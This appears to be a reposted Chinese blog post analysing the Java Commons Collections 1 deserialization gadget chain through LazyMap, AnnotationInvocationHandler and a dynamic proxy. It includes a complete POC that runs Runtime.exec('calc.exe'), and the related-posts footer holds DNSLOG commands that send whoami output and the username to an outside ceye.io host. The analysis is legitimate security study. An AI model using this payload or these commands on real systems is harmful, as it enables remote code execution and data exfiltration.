Java安全之Commons Collections1分析(三)

Java安全之CommonsCollections1分析(三)0x00前言继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections1分析(三)

0x00 前言

继续来分析cc链,用了前面几篇文章来铺垫了一些知识。在上篇文章里,其实是硬看代码,并没有去调试。因为一直找不到JDK的低版本。 全靠脑子去记传参内容尝试理解。后面的其实就简单多了,在上篇文章的基础上再去做一个分析。

  1. Java安全之URLDNS链

  2. Java安全之Commons Collections1分析前置知识

  3. Java安全之Commons Collections1分析(一)

  4. Java安全之Commons Collections1分析(二)

0x01 CC链的另一种构造方式

上篇文章说到使用LazyMapget方法也可以去触发命令执行。因为LazyMapget方法在

Java安全之Commons Collections1分析(三)

这里看到this.factory变量会去调用transform方法。前面也分析了该类构造方法是一个protected修饰的。不可被直接new。需要使用decorate工厂方法去提供。那么在前面我们调用该方法并传入innerMaptransformerChain参数。

这里的innerMap是一个Map的对象,transformerChain是一个ChainedTransformer修饰过的Transformer[]数组。

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

Java安全之Commons Collections1分析(三)

传入过后,LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

Java安全之Commons Collections1分析(三)

当然在实际中,我们还需要借助其他的类去调用这个get方法。

而在AnnotationInvocationHandlerinvoke就会去调用get方法。

 public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }

            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }

这里特地标出来

Object var6 = this.memberValues.get(var4);

前面说过 构造方法传入的是transformerChain this.memberValues=transformerChain this.memberValues 是一个ChainedTransformer修饰过的Transformer[]数组。这时候调用getget方法调用transform,又回到了刚刚的话题上了。

AnnotationInvocationHandlerinvoke怎么去调用呢?

在这里会使用到动态代理的方式去调用到该方法。关于动态代理可以参考该篇文章动态代理机制

0x02 动态代理

关于动态代理,在这里其实还是有必要单独拿出来说一下动态代理这个机制。

动态代理的实现:

Proxy.newProxyInstance(Person.class.getClassLoader(), Class<?>[]interfaces,InvocationHandler h)
  • 第一个参数:People.getClass().getClassLoader(),使用handler对象的
    classloader对象来加载我们的代理对象

  • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法

  • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

0x03 POC 分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(handler);
        
    }

主要是来看这一段代码

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。

Java安全之Commons Collections1分析(三)

那么在这段poc的执行中执行反序列化的时候,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandlerreadObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap

对应的代码:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

因为proxyMap是我们的代理对象,所以调用proxyMapentrySet()会触发到AnnotationInvocationHandlerinvoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都执行一次。

执行AnnotationInvocationHandlerinvoke()方法后又会调用get方法,再次回到刚刚的地方了。

LazyMapget方法方法里面的this.factoryTransformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformertransform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器。

那么就刚好对应了前面标出来的一个利用链

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

0x04 结尾

在CC1这条链里面其实是有版本限制的,在高版本无法使用。因为AnnotationInvocationHandlerreadObject()复写点这个地方在高版本中是进行了改动。在其他大佬测试中jdk1.7u21、jdk1.8_101、jdk1.8_171这几个版本是可用的。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119908.html原文链接:https://javaforall.net

(0)
上一篇 2021年12月12日 下午5:00
下一篇 2021年12月12日 下午6:00


相关推荐

  • 模拟实现网易新闻客户端主界面(侧滑SlidingMenu+ViewPager+Fragment)

    模拟实现网易新闻客户端主界面(侧滑SlidingMenu+ViewPager+Fragment)

    2021年8月25日
    72
  • 【STM32】系统时钟RCC详解(超详细,超全面)

    【STM32】系统时钟RCC详解(超详细,超全面)1什么是时钟时钟是单片机运行的基础,时钟信号推动单片机内各个部分执行相应的指令。时钟系统就是CPU的脉搏,决定cpu速率,像人的心跳一样只有有了心跳,人才能做其他的事情,而单片机有了时钟,才能够运行执行指令,才能够做其他的处理(点灯,串口,ADC),时钟的重要性不言而喻。为什么STM32要有多个时钟源呢?STM32本身十分复杂,外设非常多但我们实际使用的时候只会用到有…

    2022年6月28日
    46
  • mysql dnslog_DNSLOG用法

    mysql dnslog_DNSLOG用法0x00CommandE nix curlhttp ip port b182oj ceye io whoami ping whoami ip port b182oj ceye ioii windowsping USERNAME b182oj ceye io0x01SQLInj SQLServerDEC hostvarch

    2026年3月16日
    1
  • C语言sort函数

    C语言sort函数C 语言的 sort 函数是一类用于数组排序的函数以下是其简单的使用 1 头文件 include algorithm 2 使用命名空间 usingnamespa 3 函数形式 sort 数组名 数组名 元素个数 排序函数 默认排序函数为升序 也可以自己写函数 4 简单使用 1 默认 程序代码 include algorithm

    2026年3月17日
    3
  • 用 即梦AI+iSlide 打造属于你自己的“认知型演示”PPT

    用 即梦AI+iSlide 打造属于你自己的“认知型演示”PPT

    2026年3月12日
    2
  • C语言数组 一维数组篇

    C语言数组 一维数组篇前言:本文章主要用于个人复习,追求简洁,感谢大家的参考、交流和搬运,后续可能会继续修改和完善。因为是个人复习,会有部分压缩和省略。一、数组1.数组的定义:2.C语言规定:数组的每个元素都有下标,且下标是从0开始的。3.数组的使用4.数组使用时可能出现的错误越界访问:经典题型5.判断两个数组类型是否相同:…

    2022年7月22日
    12

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号